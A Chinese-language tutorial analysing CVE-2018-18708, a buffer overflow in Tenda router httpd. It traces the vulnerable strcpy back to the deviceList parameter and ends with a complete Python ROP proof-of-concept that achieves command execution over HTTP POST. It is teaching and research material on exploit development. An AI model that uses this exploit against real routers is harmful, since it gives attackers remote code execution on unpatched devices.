摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法。
假设读者:了解ARM指令集基础知识、了解栈溢出原理和利用方法、了解通过IDA和GDB进行静态分析与动态跟踪的方法。
阅读本文后:可以了解逆向数据流跟踪的思路与方法
1. 漏洞概要
CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
对于该漏洞,并未搜索到现有的漏洞分析文章,漏洞提交者仅通过上图指出漏洞所在的地方,剩下的如何触发利用就需要我们来跟踪分析了。
测试环境:Kali 2020 5.4.0-kali3-amd64
固件下载地址:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
2. 固件模拟
qemu模拟运行bin/httpd文件时,sub_2E420函数中会检测网络,需要在下图标号1和标号2处对返回值进行patch进行绕过。
同时添加并配置虚拟网桥br0,如此就能跑起来了。
3. 跟踪与分析
分析一般有两种思路:
- 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑。
- 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。
因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪的方式。根据图中的字符串,检索到代码位于sub_c24C0中。
3.1 梳理函数调用关系
在我们之前解决网络问题时程序已经执行到了sub_2E420函数,而溢出点位于sub_c24C0函数。因此我们将这中间的函数调用过程都梳理出来:
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420
3.2 跟踪参数来源
跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
(1)源地址s来源于sub_C24C0的a1参数
sub_C24C0(a1,a2){
dest = a2
s = a1
src = a1中的'r'位置
if (src){
strcpy(dest +32, s)
strcpy(dest, src)
}
}
(2)sub_C24C0的a1参数来源于sub_C17A0的a2参数
sub_C17A0(a1, a2, a3){
v5=a2
v21为本地变量 160字节
sub_C24C0(v5, v21)
}
(3)sub_C17A0的a2参数来源于sub_C14DC的a2参数
sub_C14DC(a1, a2){
s = a2
if(*s){
sub_C17A0(v4, s, v16)
}
(4)sub_C14DC的a2参数来源于formSetMacFilterCfg函数的v39
formSetMacFilterCfg(){
v40 = sub_2BA8C(v3, "macFilterType", &unk_F5124)
v41 = sub_C10D0(V40)
if (not v41){
v39 = sub_2BA8C(v3, "deviceList", &unk_F5124)
sub_C14DC(v40, v39)
}
}
变量v39是sub_2BA8C(v3, "deviceList", &unk_F5124)
函数的返回值。
由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。
3.3 路径中的分支跳转条件
之前得到了函数调用关系:
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420
我们需要对路径中的分支跳转判断条件一一满足,这里配合使用IDA的Graph视图、反编译和GDB动态调试来完成分析。
(1)sub_2E9EC <- sub_2E420
网络检测后,无分支。
(2)sub_42378 <- sub_2E9EC
有分支判断,但已经满足。
(3)formSetMacfiltercfg <- sub_42378
如上图,该函数中有对不同功能的处理函数。显然请求到指定路径,会调用相应的处理函数,我们得找到执行formSetMacfiltercfg函数的路径。
在函数中没有找到url路径相关的信息,翻了下固件文件系统,发现了webroot_ro/goform/setMacFilterCfg.txt
文件。
通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。
(4)sub_C14DC <- formSetMacfiltercfg
如上图,需要让v41=0,而v41来自于sub_C10D0函数对macFilterType的参数的处理。
我们进入sub_C10D0函数看看macFilterType需要如何设置,反编译后代码逻辑还是很清晰的,只需要v3等于“black”或“white”即可返回0,如下图所示。
进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。
data = {"macFilterType": "white", "deviceList": payload}
(5)sub_C17A0 <- sub_C14DC
有分支判断,但条件已满足。
(6)sub_C24C0 <- sub_C17A0
有分支判断,但条件已满足。
(7)sub_C24C0
如下图所示,检测deviceList内容是否包含’r’,随后进入分支执行漏洞代码。
3.4 溢出触发测试
根据上一节的分析,我们整理处HTTP POST的请求内容。
import requests
url = "http://192.168.2.111/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+ "A"*500}
发送后,gdb得到预想中的报错信息,返回地址被覆盖。
4.漏洞利用
(1)寻找偏移量
利用cyclic找到偏移量
这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。
(2)确定利用方案
使用checksec检查二进制文件的保护措施,开启了NX保护,选择用ROP绕过。
(3)构造ROP Chain
获取libc.so基地址。
获取system函数偏移量。
寻找gadets。
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:
import requests
from pwn import *
cmd="echo hello"
libc_base = 0xff58c000
system_offset = 0x5a270
gadget1_offset = 0x18298
gadget2_offset = 0x40cb8
system_addr = libc_base + system_offset
gadget1 = libc_base + gadget1_offset
gadget2 = libc_base + gadget2_offset
payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.2.111/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+payload}
requests.post(url, cookies=cookie, data=data)
查看程序的打印信息,cmd中的echo指令已经被执行。
PS:中间有些细节省略掉了,只给出了关键步奏。可以参考之前写的文章《写给初学者的实战教程之ARM栈溢出》,分析的是同一款路由器的其他漏洞。
参考
https://github.com/ZIllR0/Routers/blob/master/Tenda/stack1.md
https://www.anquanke.com/vul/id/1375399
发表评论
您还未登录,请先登录。
登录